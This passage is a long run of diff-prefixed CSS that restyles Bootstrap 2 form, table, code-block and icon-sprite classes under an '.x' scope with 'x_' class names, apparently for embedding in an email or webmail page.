code{padding:2px 4px;color:#d14;white-space:nowrap;background-color:#f7f7f9;border:1px solid #e1e1e8} +.x pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x pre.x_prettyprint{margin-bottom:20px} +.x pre code{padding:0;color:inherit;white-space:pre;white-space:pre-wrap;background-color:transparent;border:0} +.x .x_pre-scrollable{max-height:340px;overflow-y:scroll} +.x form{margin:0 0 20px} +.x fieldset{padding:0;margin:0;border:0} +.x legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333333;border:0;border-bottom:1px solid #e5e5e5} +.x legend small{font-size:15px;color:#999999} +.x label, +.x input, +.x button, +.x select, +.x textarea{font-size:14px;font-weight:normal} +.x input, +.x button, +.x select, +.x textarea{font-family:"Helvetica Neue", Helvetica, Arial, sans-serif} +.x label{display:block;margin-bottom:5px} +.x select, +.x textarea, +.x input[type="text"], +.x input[type="password"], +.x input[type="datetime"], +.x input[type="datetime-local"], +.x input[type="date"], +.x input[type="month"], +.x input[type="time"], +.x input[type="week"], +.x input[type="number"], +.x input[type="email"], +.x input[type="url"], +.x input[type="search"], +.x input[type="tel"], +.x input[type="color"], +.x .x_uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555555;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x input, +.x textarea, +.x .x_uneditable-input{width:206px} +.x textarea{height:auto} +.x textarea, +.x input[type="text"], +.x input[type="password"], +.x input[type="datetime"], +.x input[type="datetime-local"], +.x input[type="date"], +.x input[type="month"], +.x input[type="time"], +.x input[type="week"], +.x input[type="number"], +.x input[type="email"], +.x input[type="url"], +.x input[type="search"], +.x input[type="tel"], +.x input[type="color"], +.x .x_uneditable-input{background-color:#ffffff;border:1px solid #cccccc;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border linear 0.2s, box-shadow linear 0.2s;-moz-transition:border linear 0.2s, box-shadow linear 0.2s;-o-transition:border linear 0.2s, box-shadow linear 0.2s;transition:border linear 0.2s, box-shadow linear 0.2s} +.x textarea:focus, +.x input[type="text"]:focus, +.x input[type="password"]:focus, +.x input[type="datetime"]:focus, +.x input[type="datetime-local"]:focus, +.x input[type="date"]:focus, +.x input[type="month"]:focus, +.x input[type="time"]:focus, +.x input[type="week"]:focus, +.x input[type="number"]:focus, +.x input[type="email"]:focus, +.x input[type="url"]:focus, +.x input[type="search"]:focus, +.x input[type="tel"]:focus, +.x input[type="color"]:focus, +.x .x_uneditable-input:focus{border-color:rgba(82, 168, 236, 0.8);outline:0;outline:thin dotted \9; /* IE6-9 */ -webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6)} +.x input[type="radio"], +.x input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;*margin-top:0;line-height:normal} +.x input[type="file"], +.x input[type="image"], +.x input[type="submit"], +.x input[type="reset"], +.x input[type="button"], +.x input[type="radio"], +.x input[type="checkbox"]{width:auto} +.x select, +.x input[type="file"]{height:30px; /* In IE7, the height of the select element cannot be changed by height, only font-size */ *margin-top:4px; /* For IE7, add top margin to align select with labels */ line-height:30px} +.x select{width:220px;background-color:#ffffff;border:1px solid #cccccc} +.x select[multiple], +.x select[size]{height:auto} +.x select:focus, +.x input[type="file"]:focus, +.x input[type="radio"]:focus, +.x input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px} +.x .x_uneditable-input, +.x .x_uneditable-textarea{color:#999999;cursor:not-allowed;background-color:#fcfcfc;border-color:#cccccc;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025)} +.x .x_uneditable-input{overflow:hidden;white-space:nowrap} +.x .x_uneditable-textarea{width:auto;height:auto} +.x input:-moz-placeholder, +.x textarea:-moz-placeholder{color:#999999} +.x input:-ms-input-placeholder, +.x textarea:-ms-input-placeholder{color:#999999} +.x input::-webkit-input-placeholder, +.x textarea::-webkit-input-placeholder{color:#999999} +.x .x_radio, +.x .x_checkbox{min-height:20px;padding-left:20px} +.x .x_radio input[type="radio"], +.x .x_checkbox input[type="checkbox"]{float:left;margin-left:-20px} +.x .x_controls>.x_radio:first-child, +.x .x_controls>.x_checkbox:first-child{padding-top:5px} +.x .x_radio.x_inline, +.x .x_checkbox.x_inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle} +.x .x_radio.x_inline+.x_radio.x_inline, +.x .x_checkbox.x_inline+.x_checkbox.x_inline{margin-left:10px} +.x .x_input-mini{width:60px} +.x .x_input-small{width:90px} +.x .x_input-medium{width:150px} +.x .x_input-large{width:210px} +.x .x_input-xlarge{width:270px} +.x .x_input-xxlarge{width:530px} +.x input[class*="x_span"], +.x select[class*="x_span"], +.x textarea[class*="x_span"], +.x .x_uneditable-input[class*="x_span"], +.x .x_row-fluid input[class*="x_span"], +.x .x_row-fluid select[class*="x_span"], +.x .x_row-fluid textarea[class*="x_span"], +.x .x_row-fluid .x_uneditable-input[class*="x_span"]{float:none;margin-left:0} +.x .x_input-append input[class*="x_span"], +.x .x_input-append .x_uneditable-input[class*="x_span"], +.x .x_input-prepend input[class*="x_span"], +.x .x_input-prepend .x_uneditable-input[class*="x_span"], +.x .x_row-fluid input[class*="x_span"], +.x .x_row-fluid select[class*="x_span"], +.x .x_row-fluid textarea[class*="x_span"], +.x .x_row-fluid .x_uneditable-input[class*="x_span"], +.x .x_row-fluid .x_input-prepend [class*="x_span"], +.x .x_row-fluid .x_input-append [class*="x_span"]{display:inline-block} +.x input, +.x textarea, +.x .x_uneditable-input{margin-left:0} +.x .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:20px} +.x input.x_span12, +.x textarea.x_span12, +.x .x_uneditable-input.x_span12{width:926px} +.x input.x_span11, +.x textarea.x_span11, +.x .x_uneditable-input.x_span11{width:846px} +.x input.x_span10, +.x textarea.x_span10, +.x .x_uneditable-input.x_span10{width:766px} +.x input.x_span9, +.x textarea.x_span9, +.x .x_uneditable-input.x_span9{width:686px} +.x input.x_span8, +.x textarea.x_span8, +.x .x_uneditable-input.x_span8{width:606px} +.x input.x_span7, +.x textarea.x_span7, +.x .x_uneditable-input.x_span7{width:526px} +.x input.x_span6, +.x textarea.x_span6, +.x .x_uneditable-input.x_span6{width:446px} +.x input.x_span5, +.x textarea.x_span5, +.x .x_uneditable-input.x_span5{width:366px} +.x input.x_span4, +.x textarea.x_span4, +.x .x_uneditable-input.x_span4{width:286px} +.x input.x_span3, +.x textarea.x_span3, +.x .x_uneditable-input.x_span3{width:206px} +.x input.x_span2, +.x textarea.x_span2, +.x .x_uneditable-input.x_span2{width:126px} +.x input.x_span1, +.x textarea.x_span1, +.x .x_uneditable-input.x_span1{width:46px} +.x .x_controls-row{*zoom:1} +.x .x_controls-row:before, +.x .x_controls-row:after{display:table;line-height:0;content:""} +.x .x_controls-row:after{clear:both} +.x .x_controls-row [class*="x_span"], +.x .x_row-fluid .x_controls-row [class*="x_span"]{float:left} +.x .x_controls-row .x_checkbox[class*="x_span"], +.x .x_controls-row .x_radio[class*="x_span"]{padding-top:5px} +.x input[disabled], +.x select[disabled], +.x textarea[disabled], +.x input[readonly], +.x select[readonly], +.x textarea[readonly]{cursor:not-allowed;background-color:#eeeeee} +.x input[type="radio"][disabled], +.x input[type="checkbox"][disabled], +.x input[type="radio"][readonly], +.x input[type="checkbox"][readonly]{background-color:transparent} +.x .x_control-group.x_warning .x_control-label, +.x .x_control-group.x_warning .x_help-block, +.x .x_control-group.x_warning .x_help-inline{color:#c09853} +.x .x_control-group.x_warning .x_checkbox, +.x .x_control-group.x_warning .x_radio, +.x .x_control-group.x_warning input, +.x .x_control-group.x_warning select, +.x .x_control-group.x_warning textarea{color:#c09853} +.x .x_control-group.x_warning input, +.x .x_control-group.x_warning select, +.x .x_control-group.x_warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_warning input:focus, +.x .x_control-group.x_warning select:focus, +.x .x_control-group.x_warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e} +.x .x_control-group.x_warning .x_input-prepend .x_add-on, +.x .x_control-group.x_warning .x_input-append .x_add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853} +.x .x_control-group.x_error .x_control-label, +.x .x_control-group.x_error .x_help-block, +.x .x_control-group.x_error .x_help-inline{color:#b94a48} +.x .x_control-group.x_error .x_checkbox, +.x .x_control-group.x_error .x_radio, +.x .x_control-group.x_error input, +.x .x_control-group.x_error select, +.x .x_control-group.x_error textarea{color:#b94a48} +.x .x_control-group.x_error input, +.x .x_control-group.x_error select, +.x .x_control-group.x_error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_error input:focus, +.x .x_control-group.x_error select:focus, +.x .x_control-group.x_error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392} +.x .x_control-group.x_error .x_input-prepend .x_add-on, +.x .x_control-group.x_error .x_input-append .x_add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48} +.x .x_control-group.x_success .x_control-label, +.x .x_control-group.x_success .x_help-block, +.x .x_control-group.x_success .x_help-inline{color:#468847} +.x .x_control-group.x_success .x_checkbox, +.x .x_control-group.x_success .x_radio, +.x .x_control-group.x_success input, +.x .x_control-group.x_success select, +.x .x_control-group.x_success textarea{color:#468847} +.x .x_control-group.x_success input, +.x .x_control-group.x_success select, +.x .x_control-group.x_success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_success input:focus, +.x .x_control-group.x_success select:focus, +.x .x_control-group.x_success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b} +.x .x_control-group.x_success .x_input-prepend .x_add-on, +.x .x_control-group.x_success .x_input-append .x_add-on{color:#468847;background-color:#dff0d8;border-color:#468847} +.x .x_control-group.x_info .x_control-label, +.x .x_control-group.x_info .x_help-block, +.x .x_control-group.x_info .x_help-inline{color:#3a87ad} +.x .x_control-group.x_info .x_checkbox, +.x .x_control-group.x_info .x_radio, +.x .x_control-group.x_info input, +.x .x_control-group.x_info select, +.x .x_control-group.x_info textarea{color:#3a87ad} +.x .x_control-group.x_info input, +.x .x_control-group.x_info select, +.x .x_control-group.x_info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_info input:focus, +.x .x_control-group.x_info select:focus, +.x .x_control-group.x_info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3} +.x .x_control-group.x_info .x_input-prepend .x_add-on, +.x .x_control-group.x_info .x_input-append .x_add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad} +.x input:focus:invalid, +.x textarea:focus:invalid, +.x select:focus:invalid{color:#b94a48;border-color:#ee5f5b} +.x input:focus:invalid:focus, +.x textarea:focus:invalid:focus, +.x select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7} +.x .x_form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1} +.x .x_form-actions:before, +.x .x_form-actions:after{display:table;line-height:0;content:""} +.x .x_form-actions:after{clear:both} +.x .x_help-block, +.x .x_help-inline{color:#595959} +.x .x_help-block{display:block;margin-bottom:10px} +.x .x_help-inline{display:inline-block;*display:inline;padding-left:5px;vertical-align:middle;*zoom:1} +.x .x_input-append, +.x .x_input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap} +.x .x_input-append input, +.x .x_input-prepend input, +.x .x_input-append select, +.x .x_input-prepend select, +.x .x_input-append .x_uneditable-input, +.x .x_input-prepend .x_uneditable-input, +.x .x_input-append .x_dropdown-menu, +.x .x_input-prepend .x_dropdown-menu{font-size:14px} +.x .x_input-append input, +.x .x_input-prepend input, +.x .x_input-append select, +.x .x_input-prepend select, +.x .x_input-append .x_uneditable-input, +.x .x_input-prepend .x_uneditable-input{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-append input:focus, +.x .x_input-prepend input:focus, +.x .x_input-append select:focus, +.x .x_input-prepend select:focus, +.x .x_input-append .x_uneditable-input:focus, +.x .x_input-prepend .x_uneditable-input:focus{z-index:2} +.x .x_input-append .x_add-on, +.x .x_input-prepend .x_add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#eeeeee;border:1px solid #ccc} +.x .x_input-append .x_add-on, +.x .x_input-prepend .x_add-on, +.x .x_input-append .x_btn, +.x .x_input-prepend .x_btn, +.x .x_input-append .x_btn-group>.x_dropdown-toggle, +.x .x_input-prepend .x_btn-group>.x_dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_input-append .x_active, +.x .x_input-prepend .x_active{background-color:#a9dba9;border-color:#46a546} +.x .x_input-prepend .x_add-on, +.x .x_input-prepend .x_btn{margin-right:-1px} +.x .x_input-prepend .x_add-on:first-child, +.x .x_input-prepend .x_btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_input-append input, +.x .x_input-append select, +.x .x_input-append .x_uneditable-input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_input-append input+.x_btn-group .x_btn:last-child, +.x .x_input-append select+.x_btn-group .x_btn:last-child, +.x .x_input-append .x_uneditable-input+.x_btn-group .x_btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-append .x_add-on, +.x .x_input-append .x_btn, +.x .x_input-append .x_btn-group{margin-left:-1px} +.x .x_input-append .x_add-on:last-child, +.x .x_input-append .x_btn:last-child, +.x .x_input-append .x_btn-group:last-child>.x_dropdown-toggle{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-prepend.x_input-append input, +.x .x_input-prepend.x_input-append select, +.x .x_input-prepend.x_input-append .x_uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_input-prepend.x_input-append input+.x_btn-group .x_btn, +.x .x_input-prepend.x_input-append select+.x_btn-group .x_btn, +.x .x_input-prepend.x_input-append .x_uneditable-input+.x_btn-group .x_btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-prepend.x_input-append .x_add-on:first-child, +.x .x_input-prepend.x_input-append .x_btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_input-prepend.x_input-append .x_add-on:last-child, +.x .x_input-prepend.x_input-append .x_btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-prepend.x_input-append .x_btn-group:first-child{margin-left:0} +.x input.x_search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9; /* IE7-8 doesn't have border-radius, so don't indent the padding */ margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px} +/* Allow for input prepend/append in search forms */ +.x .x_form-search .x_input-append .x_search-query, +.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_form-search .x_input-append .x_search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px} +.x .x_form-search .x_input-append .x_btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0} +.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0} +.x .x_form-search .x_input-prepend .x_btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px} +.x .x_form-search input, +.x .x_form-inline input, +.x .x_form-horizontal input, +.x .x_form-search textarea, +.x .x_form-inline textarea, +.x .x_form-horizontal textarea, +.x .x_form-search select, +.x .x_form-inline select, +.x .x_form-horizontal select, +.x .x_form-search .x_help-inline, +.x .x_form-inline .x_help-inline, +.x .x_form-horizontal .x_help-inline, +.x .x_form-search .x_uneditable-input, +.x .x_form-inline .x_uneditable-input, +.x .x_form-horizontal .x_uneditable-input, +.x .x_form-search .x_input-prepend, +.x .x_form-inline .x_input-prepend, +.x .x_form-horizontal .x_input-prepend, +.x .x_form-search .x_input-append, +.x .x_form-inline .x_input-append, +.x .x_form-horizontal .x_input-append{display:inline-block;*display:inline;margin-bottom:0;vertical-align:middle;*zoom:1} +.x .x_form-search .x_hide, +.x .x_form-inline .x_hide, +.x .x_form-horizontal .x_hide{display:none} +.x .x_form-search label, +.x .x_form-inline label, +.x .x_form-search .x_btn-group, +.x .x_form-inline .x_btn-group{display:inline-block} +.x .x_form-search .x_input-append, +.x .x_form-inline .x_input-append, +.x .x_form-search .x_input-prepend, +.x .x_form-inline .x_input-prepend{margin-bottom:0} +.x .x_form-search .x_radio, +.x .x_form-search .x_checkbox, +.x .x_form-inline .x_radio, +.x .x_form-inline .x_checkbox{padding-left:0;margin-bottom:0;vertical-align:middle} +.x .x_form-search .x_radio input[type="radio"], +.x .x_form-search .x_checkbox input[type="checkbox"], +.x .x_form-inline .x_radio input[type="radio"], +.x .x_form-inline .x_checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0} +.x .x_control-group{margin-bottom:10px} +.x legend+.x_control-group{margin-top:20px;-webkit-margin-top-collapse:separate} +.x .x_form-horizontal .x_control-group{margin-bottom:20px;*zoom:1} +.x .x_form-horizontal .x_control-group:before, +.x .x_form-horizontal .x_control-group:after{display:table;line-height:0;content:""} +.x .x_form-horizontal .x_control-group:after{clear:both} +.x .x_form-horizontal .x_control-label{float:left;width:160px;padding-top:5px;text-align:right} +.x .x_form-horizontal .x_controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0} +.x .x_form-horizontal .x_controls:first-child{*padding-left:180px} +.x .x_form-horizontal .x_help-block{margin-bottom:0} +.x .x_form-horizontal input+.x_help-block, +.x .x_form-horizontal select+.x_help-block, +.x .x_form-horizontal textarea+.x_help-block, +.x .x_form-horizontal .x_uneditable-input+.x_help-block, +.x .x_form-horizontal .x_input-prepend+.x_help-block, +.x .x_form-horizontal .x_input-append+.x_help-block{margin-top:10px} +.x .x_form-horizontal .x_form-actions{padding-left:180px} +.x table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0} +.x .x_table{width:100%;margin-bottom:20px} +.x .x_table th, +.x .x_table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #dddddd} +.x .x_table th{font-weight:bold} +.x .x_table thead th{vertical-align:bottom} +.x .x_table caption+thead tr:first-child th, +.x .x_table caption+thead tr:first-child td, +.x .x_table colgroup+thead tr:first-child th, +.x .x_table colgroup+thead tr:first-child td, +.x .x_table thead:first-child tr:first-child th, +.x .x_table thead:first-child tr:first-child td{border-top:0} +.x .x_table tbody+tbody{border-top:2px solid #dddddd} +.x .x_table .x_table{background-color:#ffffff} +.x .x_table-condensed th, +.x .x_table-condensed td{padding:4px 5px} +.x .x_table-bordered{border:1px solid #dddddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_table-bordered th, +.x .x_table-bordered td{border-left:1px solid #dddddd} +.x .x_table-bordered caption+thead tr:first-child th, +.x .x_table-bordered caption+tbody tr:first-child th, +.x .x_table-bordered caption+tbody tr:first-child td, +.x .x_table-bordered colgroup+thead tr:first-child th, +.x .x_table-bordered colgroup+tbody tr:first-child th, +.x .x_table-bordered colgroup+tbody tr:first-child td, +.x .x_table-bordered thead:first-child tr:first-child th, +.x .x_table-bordered tbody:first-child tr:first-child th, +.x .x_table-bordered tbody:first-child tr:first-child td{border-top:0} +.x .x_table-bordered thead:first-child tr:first-child>th:first-child, +.x .x_table-bordered tbody:first-child tr:first-child>td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px} +.x .x_table-bordered thead:first-child tr:first-child>th:last-child, +.x .x_table-bordered tbody:first-child tr:first-child>td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px} +.x .x_table-bordered thead:last-child tr:last-child>th:first-child, +.x .x_table-bordered tbody:last-child tr:last-child>td:first-child, +.x .x_table-bordered tfoot:last-child tr:last-child>td:first-child{-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px} +.x .x_table-bordered thead:last-child tr:last-child>th:last-child, +.x .x_table-bordered tbody:last-child tr:last-child>td:last-child, +.x .x_table-bordered tfoot:last-child tr:last-child>td:last-child{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px} +.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:first-child{-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0;-moz-border-radius-bottomleft:0} +.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:0;border-bottom-right-radius:0;-moz-border-radius-bottomright:0} +.x .x_table-bordered caption+thead tr:first-child th:first-child, +.x .x_table-bordered caption+tbody tr:first-child td:first-child, +.x .x_table-bordered colgroup+thead tr:first-child th:first-child, +.x .x_table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px} +.x .x_table-bordered caption+thead tr:first-child th:last-child, +.x .x_table-bordered caption+tbody tr:first-child td:last-child, +.x .x_table-bordered colgroup+thead tr:first-child th:last-child, +.x .x_table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px} +.x .x_table-striped tbody>tr:nth-child(odd)>td, +.x .x_table-striped tbody>tr:nth-child(odd)>th{background-color:#f9f9f9} +.x .x_table-hover tbody tr:hover td, +.x .x_table-hover tbody tr:hover th{background-color:#f5f5f5} +.x table td[class*="x_span"], +.x table th[class*="x_span"], +.x .x_row-fluid table td[class*="x_span"], +.x .x_row-fluid table th[class*="x_span"]{display:table-cell;float:none;margin-left:0} +.x .x_table td.x_span1, +.x .x_table th.x_span1{float:none;width:44px;margin-left:0} +.x .x_table td.x_span2, +.x .x_table th.x_span2{float:none;width:124px;margin-left:0} +.x .x_table td.x_span3, +.x .x_table th.x_span3{float:none;width:204px;margin-left:0} +.x .x_table td.x_span4, +.x .x_table th.x_span4{float:none;width:284px;margin-left:0} +.x .x_table td.x_span5, +.x .x_table th.x_span5{float:none;width:364px;margin-left:0} +.x .x_table td.x_span6, +.x .x_table th.x_span6{float:none;width:444px;margin-left:0} +.x .x_table td.x_span7, +.x .x_table th.x_span7{float:none;width:524px;margin-left:0} +.x .x_table td.x_span8, +.x .x_table th.x_span8{float:none;width:604px;margin-left:0} +.x .x_table td.x_span9, +.x .x_table th.x_span9{float:none;width:684px;margin-left:0} +.x .x_table td.x_span10, +.x .x_table th.x_span10{float:none;width:764px;margin-left:0} +.x .x_table td.x_span11, +.x .x_table th.x_span11{float:none;width:844px;margin-left:0} +.x .x_table td.x_span12, +.x .x_table th.x_span12{float:none;width:924px;margin-left:0} +.x .x_table tbody tr.x_success td{background-color:#dff0d8} +.x .x_table tbody tr.x_error td{background-color:#f2dede} +.x .x_table tbody tr.x_warning td{background-color:#fcf8e3} +.x .x_table tbody tr.x_info td{background-color:#d9edf7} +.x .x_table-hover tbody tr.x_success:hover td{background-color:#d0e9c6} +.x .x_table-hover tbody tr.x_error:hover td{background-color:#ebcccc} +.x .x_table-hover tbody tr.x_warning:hover td{background-color:#faf2cc} +.x .x_table-hover tbody tr.x_info:hover td{background-color:#c4e3f3} +.x [class^="x_icon-"], +.x [class*=" x_icon-"]{display:inline-block;width:14px;height:14px;margin-top:1px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat} +/* White icons with optional class, or on hover/active states of certain elements */ +.x .x_icon-white, +.x .x_nav-pills>.x_active>a>[class^="x_icon-"], +.x .x_nav-pills>.x_active>a>[class*=" x_icon-"], +.x .x_nav-list>.x_active>a>[class^="x_icon-"], +.x .x_nav-list>.x_active>a>[class*=" x_icon-"], +.x .x_navbar-inverse .x_nav>.x_active>a>[class^="x_icon-"], +.x .x_navbar-inverse .x_nav>.x_active>a>[class*=" x_icon-"], +.x .x_dropdown-menu>li>a:hover>[class^="x_icon-"], +.x .x_dropdown-menu>li>a:hover>[class*=" x_icon-"], +.x .x_dropdown-menu>.x_active>a>[class^="x_icon-"], +.x .x_dropdown-menu>.x_active>a>[class*=" x_icon-"], +.x .x_dropdown-submenu:hover>a>[class^="x_icon-"], +.x .x_dropdown-submenu:hover>a>[class*=" x_icon-"]{background-image:url("../img/glyphicons-halflings-white.png")} +.x .x_icon-glass{background-position:0 0} +.x .x_icon-music{background-position:-24px 0} +.x .x_icon-search{background-position:-48px 0} +.x .x_icon-envelope{background-position:-72px 0} +.x .x_icon-heart{background-position:-96px 0} +.x .x_icon-star{background-position:-120px 0} +.x .x_icon-star-empty{background-position:-144px 0} +.x .x_icon-user{background-position:-168px 0} +.x .x_icon-film{background-position:-192px 0} +.x .x_icon-th-large{background-position:-216px 0} +.x .x_icon-th{background-position:-240px 0} +.x .x_icon-th-list{background-position:-264px 0} +.x .x_icon-ok{background-position:-288px 0} +.x .x_icon-remove{background-position:-312px 0} +.x .x_icon-zoom-in{background-position:-336px 0} +.x .x_icon-zoom-out{background-position:-360px 0} +.x .x_icon-off{background-position:-384px 0} +.x .x_icon-signal{background-position:-408px 0} +.x .x_icon-cog{background-position:-432px 0} +.x .x_icon-trash{background-position:-456px 0} +.x .x_icon-home{background-position:0 -24px} +.x .x_icon-file{background-position:-24px -24px} +.x .x_icon-time{background-position:-48px -24px} +.x .x_icon-road{background-position:-72px -24px} +.x .x_icon-download-alt{background-position:-96px -24px} +.x .x_icon-download{background-position:-120px -24px} +.x .x_icon-upload{background-position:-144px -24px} +.x .x_icon-inbox{background-position:-168px -24px} +.x .x_icon-play-circle{background-position:-192px -24px} +.x .x_icon-repeat{background-position:-216px -24px} +.x .x_icon-refresh{background-position:-240px -24px} +.x .x_icon-list-alt{background-position:-264px -24px} +.x .x_icon-lock{background-position:-287px -24px} +.x .x_icon-flag{background-position:-312px -24px} +.x .x_icon-headphones{background-position:-336px -24px} +.x .x_icon-volume-off{background-position:-360px -24px} +.x .x_icon-volume-down{background-position:-384px -24px} +.x .x_icon-volume-up{background-position:-408px -24px} 